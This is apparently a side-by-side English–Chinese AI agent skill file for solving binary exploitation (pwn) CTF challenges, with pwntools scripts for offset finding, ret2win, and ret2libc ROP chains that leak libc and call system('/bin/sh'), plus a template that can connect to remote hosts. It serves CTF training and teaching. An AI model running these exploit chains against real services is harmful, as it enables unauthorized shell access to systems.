pwn-exploits
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseBinary Exploitation Patterns
二进制利用模式
When to Use
适用场景
Load this skill when:
- Solving binary exploitation (pwn) CTF challenges
- Working with buffer overflows and stack-based vulnerabilities
- Building ROP (Return-Oriented Programming) chains
- Writing shellcode or exploits
- Using pwntools for exploitation
- Analyzing binaries with GDB, checksec, or strings
在以下场景中加载本技能:
- 解决CTF中的二进制利用(Pwn)类题目
- 处理缓冲区溢出及基于栈的漏洞
- 构建ROP(返回导向编程)链
- 编写Shellcode或漏洞利用代码
- 使用pwntools进行漏洞利用
- 使用GDB、checksec或strings分析二进制文件
Binary Analysis Workflow
二进制分析工作流
Step 1: Static Analysis First
步骤1:先进行静态分析
Always begin with static analysis before dynamic exploitation.
bash
undefined在进行动态利用前,务必先开展静态分析。
bash
undefinedSearch for interesting strings
搜索有趣的字符串
strings ./vuln | grep -iE "flag|password|key|secret|admin"
strings ./vuln | grep -iE "flag|password|key|secret|admin"
Check binary protections
检查二进制文件保护机制
checksec ./vuln
checksec ./vuln
Examine file type and architecture
查看文件类型与架构
file ./vuln
**Why?** Static analysis reveals:
- Hidden functionality and backdoor functions
- Hardcoded credentials or flags
- Security mitigations (PIE, NX, Stack Canary, RELRO)
- Architecture (32-bit vs 64-bit, calling conventions)file ./vuln
**原因?** 静态分析可揭示:
- 隐藏功能与后门函数
- 硬编码凭证或flag
- 安全缓解措施(PIE、NX、栈金丝雀、RELRO)
- 架构(32位/64位、调用约定)Step 2: Decompile with Ghidra/IDA
步骤2:使用Ghidra/IDA反编译
bash
undefinedbash
undefinedBatch decompile with Ghidra headless mode (RECOMMENDED)
使用Ghidra无头模式批量反编译(推荐)
./ghidra_headless/decompile_headless.sh ./vuln output.c
./ghidra_headless/decompile_headless.sh ./vuln output.c
Or use Python wrapper (legacy)
或使用Python封装脚本(旧版)
python tools/decompile.py ./vuln
python tools/decompile.py ./vuln
Or manually open in Ghidra GUI
或手动在Ghidra GUI中打开
ghidra
**Key things to look for:**
- Dangerous functions: `gets()`, `strcpy()`, `scanf()`, `read()` with no bounds
- Win functions: `system("/bin/sh")`, `execve()`, `print_flag()`
- Buffer sizes vs input sizes
- Comparison operations (password checks, admin checks)ghidra
**重点关注内容:**
- 危险函数:`gets()`、`strcpy()`、`scanf()`、无边界检查的`read()`
- 可获取权限的函数:`system("/bin/sh")`、`execve()`、`print_flag()`
- 缓冲区大小与输入大小的对比
- 比较操作(密码校验、管理员权限校验)Protection Analysis Table
保护机制分析表
| Protection | Status | Exploitation Strategy |
|---|---|---|
| PIE | Enabled | Need address leak for code/data addresses |
| PIE | Disabled | Can use hardcoded addresses directly |
| NX | Enabled | Cannot execute shellcode on stack, use ROP |
| NX | Disabled | Can write shellcode to buffer and execute |
| Stack Canary | Enabled | Need canary leak or bypass technique |
| Stack Canary | Disabled | Direct buffer overflow exploitation |
| RELRO Full | Enabled | Cannot overwrite GOT entries |
| RELRO Partial | Enabled | Can overwrite GOT for hijacking |
| 保护机制 | 状态 | 利用策略 |
|---|---|---|
| PIE | 启用 | 需要泄露代码/数据地址 |
| PIE | 禁用 | 可直接使用硬编码地址 |
| NX | 启用 | 无法在栈上执行Shellcode,需使用ROP |
| NX | 禁用 | 可将Shellcode写入缓冲区并执行 |
| 栈金丝雀 | 启用 | 需要泄露金丝雀或使用绕过技术 |
| 栈金丝雀 | 禁用 | 直接进行缓冲区溢出利用 |
| RELRO完全启用 | 启用 | 无法覆盖GOT表项 |
| RELRO部分启用 | 启用 | 可覆盖GOT表以劫持控制流 |
Exploitation Patterns
利用模式
Pattern 1: Find Buffer Overflow Offset
模式1:查找缓冲区溢出偏移量
python
from pwn import *python
from pwn import *Generate cyclic pattern
生成循环模式
io = process('./vuln')
payload = cyclic(500)
io.sendline(payload)
io.wait()
io = process('./vuln')
payload = cyclic(500)
io.sendline(payload)
io.wait()
After crash, examine core dump or GDB
崩溃后,检查核心转储文件或GDB
Find the offset where control is hijacked
找到控制流被劫持的偏移量
core = Coredump('./core')
offset = cyclic_find(core.read(core.rsp, 4)) # x86_64
core = Coredump('./core')
offset = cyclic_find(core.read(core.rsp, 4)) # x86_64架构
or
或
offset = cyclic_find(core.read(core.eip, 4)) # x86
log.info(f"Offset: {offset}")
**Alternative: Manual offset finding**
```pythonoffset = cyclic_find(core.read(core.eip, 4)) # x86架构
log.info(f"偏移量: {offset}")
**替代方案:手动查找偏移量**
```pythonUse offset_finder.py from tools/
使用工具目录下的offset_finder.py
python tools/offset_finder.py ./vuln
python tools/offset_finder.py ./vuln
undefinedundefinedPattern 2: Basic ret2win (Call Win Function)
模式2:基础ret2win(调用权限函数)
python
from pwn import *
exe = "./vuln"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = "debug"python
from pwn import *
exe = "./vuln"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = "debug"Find win function address
查找权限函数地址
win_addr = elf.symbols['win'] # or elf.symbols['print_flag']
win_addr = elf.symbols['win'] # 或elf.symbols['print_flag']
Build payload
构造 payload
payload = flat({
offset: [
win_addr
]
})
io = process(exe)
io.sendline(payload)
io.interactive()
undefinedpayload = flat({
offset: [
win_addr
]
})
io = process(exe)
io.sendline(payload)
io.interactive()
undefinedPattern 3: ret2libc (Leak + System)
模式3:ret2libc(泄露地址+调用system)
Stage 1: Leak libc address
python
from pwn import *
exe = "./vuln"
elf = context.binary = ELF(exe, checksec=False)
libc = ELF("./libc.so.6") # or ELF("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP(elf)阶段1:泄露libc地址
python
from pwn import *
exe = "./vuln"
elf = context.binary = ELF(exe, checksec=False)
libc = ELF("./libc.so.6") # 或ELF("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP(elf)Build ROP chain to leak puts@GOT
构造ROP链以泄露puts@GOT地址
payload = flat({
offset: [
rop.find_gadget(['pop rdi', 'ret'])[0],
elf.got['puts'],
elf.plt['puts'],
elf.symbols['main'] # Return to main for second exploit
]
})
io = process(exe)
io.sendline(payload)
io.recvuntil(b"expected_output")
leak = u64(io.recvline().strip().ljust(8, b'\x00'))
log.info(f"Leaked puts@GOT: {hex(leak)}")
payload = flat({
offset: [
rop.find_gadget(['pop rdi', 'ret'])[0],
elf.got['puts'],
elf.plt['puts'],
elf.symbols['main'] # 返回main函数以进行二次利用
]
})
io = process(exe)
io.sendline(payload)
io.recvuntil(b"expected_output")
leak = u64(io.recvline().strip().ljust(8, b'\x00'))
log.info(f"泄露的puts@GOT地址: {hex(leak)}")
Calculate libc base
计算libc基地址
libc.address = leak - libc.symbols['puts']
log.success(f"Libc base: {hex(libc.address)}")
**Stage 2: Call system("/bin/sh")**
```pythonlibc.address = leak - libc.symbols['puts']
log.success(f"Libc基地址: {hex(libc.address)}")
**阶段2:调用system("/bin/sh")**
```pythonFind /bin/sh string in libc
在libc中查找/bin/sh字符串
bin_sh = next(libc.search(b'/bin/sh\x00'))
bin_sh = next(libc.search(b'/bin/sh\x00'))
Build final ROP chain
构造最终ROP链
payload2 = flat({
offset: [
rop.find_gadget(['ret'])[0], # Stack alignment (required for movaps)
rop.find_gadget(['pop rdi', 'ret'])[0],
bin_sh,
libc.symbols['system']
]
})
io.sendline(payload2)
io.interactive()
undefinedpayload2 = flat({
offset: [
rop.find_gadget(['ret'])[0], # 栈对齐(movaps指令要求)
rop.find_gadget(['pop rdi', 'ret'])[0],
bin_sh,
libc.symbols['system']
]
})
io.sendline(payload2)
io.interactive()
undefinedPattern 4: Auto-Switch Start Function
模式4:自动切换启动函数
Use this template for all pwn scripts:
python
from pwn import *
exe = "./vuln"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]
def start(argv=[], *a, **kw):
"""Start the exploit in different modes"""
if args.GDB:
gdbscript = """
b *main
continue
"""
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE:
return remote(sys.argv[1], int(sys.argv[2]), *a, **kw)
else:
return process([exe] + argv, *a, **kw)所有Pwn脚本均可使用以下模板:
python
from pwn import *
exe = "./vuln"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]
def start(argv=[], *a, **kw):
"""以不同模式启动漏洞利用"""
if args.GDB:
gdbscript = """
b *main
continue
"""
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE:
return remote(sys.argv[1], int(sys.argv[2]), *a, **kw)
else:
return process([exe] + argv, *a, **kw)Usage:
使用方式:
python solve.py # Local process
python solve.py # 本地进程运行
python solve.py GDB # Debug with GDB
python solve.py GDB # 用GDB调试
python solve.py REMOTE IP PORT # Remote connection
python solve.py REMOTE IP PORT # 连接远程服务器
undefinedundefinedPattern 5: ROP Chain Construction
模式5:ROP链构造
python
from pwn import *
elf = ELF("./vuln")
rop = ROP(elf)python
from pwn import *
elf = ELF("./vuln")
rop = ROP(elf)Method 1: Automatic ROP chain
方法1:自动生成ROP链
rop.call('puts', [elf.got['puts']])
rop.call('main')
rop.call('puts', [elf.got['puts']])
rop.call('main')
Method 2: Manual gadget selection
方法2:手动选择gadget
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi_r15 = rop.find_gadget(['pop rsi', 'pop r15', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]
payload = flat({
offset: [
ret, # Stack alignment
pop_rdi,
elf.got['puts'],
elf.plt['puts'],
elf.symbols['main']
]
})
undefinedpop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi_r15 = rop.find_gadget(['pop rsi', 'pop r15', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]
payload = flat({
offset: [
ret, # 栈对齐
pop_rdi,
elf.got['puts'],
elf.plt['puts'],
elf.symbols['main']
]
})
undefinedQuick Reference
快速参考
Pwntools Essential Commands
Pwntools核心命令
| Task | Command |
|---|---|
| Generate cyclic pattern | |
| Find offset from crash | |
| Pack 64-bit integer | |
| Pack 32-bit integer | |
| Unpack 64-bit bytes | |
| Unpack 32-bit bytes | |
| Launch with GDB | |
| Connect remote | |
| Local process | |
| Build structured payload | |
| Find ROP gadgets | |
| Search bytes in binary | |
| 任务 | 命令 |
|---|---|
| 生成循环模式 | |
| 从崩溃信息中查找偏移量 | |
| 打包64位整数 | |
| 打包32位整数 | |
| 解包64位字节数据 | |
| 解包32位字节数据 | |
| 用GDB启动程序 | |
| 连接远程服务器 | |
| 启动本地进程 | |
| 构造结构化payload | |
| 查找ROP gadget | |
| 在二进制文件中搜索字节 | |
Common ROP Gadgets (x86_64)
常见ROP Gadget(x86_64架构)
python
undefinedpython
undefinedSystem call setup
系统调用准备
pop_rdi = 0x400123 # pop rdi; ret (1st argument)
pop_rsi = 0x400456 # pop rsi; ret (2nd argument)
pop_rdx = 0x400789 # pop rdx; ret (3rd argument)
pop_rax = 0x400abc # pop rax; ret (syscall number)
pop_rdi = 0x400123 # pop rdi; ret(第一个参数)
pop_rsi = 0x400456 # pop rsi; ret(第二个参数)
pop_rdx = 0x400789 # pop rdx; ret(第三个参数)
pop_rax = 0x400abc # pop rax; ret(系统调用号)
Stack alignment (REQUIRED for recent libc)
栈对齐(新版libc要求)
ret = 0x400001 # ret
ret = 0x400001 # ret
Useful symbols
实用符号
bin_sh = next(elf.search(b'/bin/sh\x00'))
system = elf.symbols['system'] # or libc.symbols['system']
undefinedbin_sh = next(elf.search(b'/bin/sh\x00'))
system = elf.symbols['system'] # 或libc.symbols['system']
undefinedGDB Essential Commands
GDB核心命令
bash
undefinedbash
undefinedPwndbg commands
Pwndbg命令
checksec # Check binary protections
vmmap # Memory mapping
telescope $rsp 20 # Stack view
cyclic 200 # Generate pattern
cyclic -l 0x61616161 # Find offset
rop # Search ROP gadgets
rop --grep "pop rdi" # Filter gadgets
got # GOT entries
plt # PLT entries
checksec # 检查二进制文件保护机制
vmmap # 内存映射查看
telescope $rsp 20 # 栈内容查看
cyclic 200 # 生成循环模式
cyclic -l 0x61616161 # 查找偏移量
rop # 搜索ROP gadget
rop --grep "pop rdi" # 筛选gadget
got # 查看GOT表项
plt # 查看PLT表项
Standard GDB
标准GDB命令
b *main # Breakpoint at address
b *0x401234
x/20gx $rsp # Examine stack (64-bit)
x/20wx $esp # Examine stack (32-bit)
x/20i $rip # Disassemble
info registers # Register values
set $rax = 0 # Modify register
undefinedb *main # 在main函数处设置断点
b *0x401234
x/20gx $rsp # 查看栈内容(64位)
x/20wx $esp # 查看栈内容(32位)
x/20i $rip # 反汇编代码
info registers # 查看寄存器值
set $rax = 0 # 修改寄存器值
undefinedCTF-Specific Tips
CTF专属技巧
Extract Flags Automatically
自动提取Flag
python
import re
def extract_flag(data):
"""Extract common CTF flag formats"""
patterns = [
r'flag\{[^}]+\}',
r'FLAG\{[^}]+\}',
r'CTF\{[^}]+\}',
r'picoCTF\{[^}]+\}',
r'HTB\{[^}]+\}',
r'[a-zA-Z0-9_]+\{[a-zA-Z0-9_@!?-]+\}',
]
text = data if isinstance(data, str) else data.decode('latin-1')
for pattern in patterns:
match = re.search(pattern, text)
if match:
return match.group(0)
return Nonepython
import re
def extract_flag(data):
"""提取常见CTF Flag格式"""
patterns = [
r'flag\{[^}]+\}',
r'FLAG\{[^}]+\}',
r'CTF\{[^}]+\}',
r'picoCTF\{[^}]+\}',
r'HTB\{[^}]+\}',
r'[a-zA-Z0-9_]+\{[a-zA-Z0-9_@!?-]+\}',
]
text = data if isinstance(data, str) else data.decode('latin-1')
for pattern in patterns:
match = re.search(pattern, text)
if match:
return match.group(0)
return NoneUsage
使用示例
io.recvuntil(b"output")
data = io.recvall()
flag = extract_flag(data)
if flag:
log.success(f"Flag: {flag}")
undefinedio.recvuntil(b"output")
data = io.recvall()
flag = extract_flag(data)
if flag:
log.success(f"Flag: {flag}")
undefinedOne-Gadget Usage
One-Gadget使用
bash
undefinedbash
undefinedFind one-gadgets in libc (requires one_gadget gem)
在libc中查找one-gadget(需要安装one_gadget gem)
one_gadget libc.so.6
one_gadget libc.so.6
Use in exploit
在漏洞利用中使用
one_gadget = libc.address + 0x4f3d5 # Offset from one_gadget output
payload = flat({offset: one_gadget})
undefinedone_gadget = libc.address + 0x4f3d5 # 偏移量来自one_gadget输出
payload = flat({offset: one_gadget})
undefinedAnti-Patterns (Avoid These)
反模式(需避免)
❌ Don't: Skip Static Analysis
❌ 错误做法:跳过静态分析
python
undefinedpython
undefinedBAD: Jumping straight to buffer overflow without understanding the binary
错误:未了解二进制文件就直接尝试缓冲区溢出
offset = 72 # Guessed
payload = b'A' * offset + p64(0xdeadbeef)
**Why it's bad:** You might miss:
- Easier solutions (hardcoded flags, win functions)
- Critical constraints (length checks, character filters)
- Security mitigations that require different approachesoffset = 72 # 猜测的偏移量
payload = b'A' * offset + p64(0xdeadbeef)
**错误原因:** 你可能会错过:
- 更简单的解决方案(硬编码flag、权限函数)
- 关键限制(长度检查、字符过滤)
- 需要不同利用方法的安全缓解措施❌ Don't: Hardcode Addresses with PIE/ASLR
❌ 错误做法:在PIE/ASLR启用时硬编码地址
python
undefinedpython
undefinedBAD: Hardcoded libc addresses
错误:硬编码libc地址
system_addr = 0x7ffff7a52290 # This won't work with ASLR
system_addr = 0x7ffff7a52290 # ASLR启用时此地址无效
GOOD: Calculate from leak
正确:通过泄露的地址计算
libc.address = leak - libc.symbols['puts']
system_addr = libc.symbols['system']
undefinedlibc.address = leak - libc.symbols['puts']
system_addr = libc.symbols['system']
undefined❌ Don't: Forget Stack Alignment
❌ 错误做法:忽略栈对齐
python
undefinedpython
undefinedBAD: Direct call to system() may crash
错误:直接调用system()可能导致崩溃
payload = flat({offset: [pop_rdi, bin_sh, system]})
payload = flat({offset: [pop_rdi, bin_sh, system]})
GOOD: Add 'ret' gadget for alignment (movaps requirement)
正确:添加'ret' gadget以对齐栈(满足movaps指令要求)
payload = flat({offset: [ret, pop_rdi, bin_sh, system]})
undefinedpayload = flat({offset: [ret, pop_rdi, bin_sh, system]})
undefined❌ Don't: Ignore Error Messages
❌ 错误做法:忽略错误信息
python
undefinedpython
undefinedBAD: Blindly sending payload without checking responses
错误:盲目发送payload而不检查响应
io.sendline(payload)
io.interactive()
io.sendline(payload)
io.interactive()
GOOD: Check for errors and debug
正确:检查错误并调试
io.sendline(payload)
response = io.recvuntil(b"expected", timeout=2)
if b"error" in response or b"invalid" in response:
log.error("Exploit failed, check payload")
exit(1)
io.interactive()
undefinedio.sendline(payload)
response = io.recvuntil(b"expected", timeout=2)
if b"error" in response or b"invalid" in response:
log.error("漏洞利用失败,请检查payload")
exit(1)
io.interactive()
undefinedBundled Resources
配套资源
Templates
模板
All templates use the auto-switch start function for easy testing:
- - Basic buffer overflow template
templates/pwn_basic.py - - ROP chain + ret2libc template
templates/pwn_rop.py - - Symbolic execution with angr
templates/angr_template.py
所有模板均使用自动切换启动函数,便于测试:
- - 基础缓冲区溢出模板
templates/pwn_basic.py - - ROP链+ret2libc模板
templates/pwn_rop.py - - 使用angr进行符号执行的模板
templates/angr_template.py
Tools
工具
Helper scripts for common tasks:
- - Quick security check wrapper
tools/checksec_quick.sh - - Automated offset calculation
tools/offset_finder.py - - Parse and format address leaks
tools/leak_parser.py - - Identify libc version from leaks
tools/libc_lookup.py - - Generate ROP chain templates
tools/rop_chain_skeleton.py - - Patch binary to use specific libc
tools/patch_ld_preload.sh
用于常见任务的辅助脚本:
- - 快速安全检查封装脚本
tools/checksec_quick.sh - - 自动计算偏移量
tools/offset_finder.py - - 解析并格式化地址泄露数据
tools/leak_parser.py - - 通过泄露地址识别libc版本
tools/libc_lookup.py - - 生成ROP链模板
tools/rop_chain_skeleton.py - - 修补二进制文件以指定libc版本运行
tools/patch_ld_preload.sh
Ghidra Headless Decompilation
Ghidra无头反编译
- - Automated decompilation without GUI
ghidra_headless/ - - Wrapper script for batch decompilation
ghidra_headless/decompile_headless.sh - - Ghidra Java script for headless operation
ghidra_headless/DecompileCLI.java - - Detailed usage and troubleshooting guide
ghidra_headless/README.md
- - 无需GUI的自动化反编译工具
ghidra_headless/ - - 批量反编译封装脚本
ghidra_headless/decompile_headless.sh - - Ghidra无头模式Java脚本
ghidra_headless/DecompileCLI.java - - 详细使用与故障排除指南
ghidra_headless/README.md
Gadget Finders
Gadget查找工具
- - ROPgadget wrapper
gadgets/find_gadgets_ropgadget.sh - - Ropper wrapper
gadgets/find_gadgets_ropper.sh - - rp++ wrapper
gadgets/find_gadgets_rpplus.sh - - One-gadget usage guide
gadgets/one_gadget_notes.md
- - ROPgadget封装脚本
gadgets/find_gadgets_ropgadget.sh - - Ropper封装脚本
gadgets/find_gadgets_ropper.sh - - rp++封装脚本
gadgets/find_gadgets_rpplus.sh - - One-gadget使用指南
gadgets/one_gadget_notes.md
Quick References
快速参考文档
- - Common ROP gadgets reference
references/quickref_gadgets.md - - GDB command cheatsheet
references/quickref_gdb.md - - Detailed GDB guide
references/gdb_cheatsheet.md - - Step-by-step ret2libc guide
references/ret2libc_checklist.md - - Tool usage instructions
references/usage_guide.md
- - 常见ROP gadget参考
references/quickref_gadgets.md - - GDB命令速查表
references/quickref_gdb.md - - 详细GDB使用指南
references/gdb_cheatsheet.md - - Ret2libc分步指南
references/ret2libc_checklist.md - - 工具使用说明
references/usage_guide.md
GDB Configuration
GDB配置
- - GDB initialization scripts for pwndbg, GEF, peda
gdb_init/
- - 适用于pwndbg、GEF、peda的GDB初始化脚本
gdb_init/
Keywords
关键词
pwn, binary exploitation, buffer overflow, stack overflow, ROP, ROP chain, return-oriented programming, shellcode, pwntools, CTF, checksec, cyclic, gadgets, GOT, PLT, libc leak, ret2libc, ret2win, format string, GDB, pwndbg, reverse engineering, binary analysis, exploit development
pwn, 二进制利用, 缓冲区溢出, 栈溢出, ROP, ROP链, 返回导向编程, Shellcode, pwntools, CTF, checksec, cyclic, gadget, GOT, PLT, libc泄露, ret2libc, ret2win, 格式化字符串, GDB, pwndbg, 逆向工程, 二进制分析, 漏洞利用开发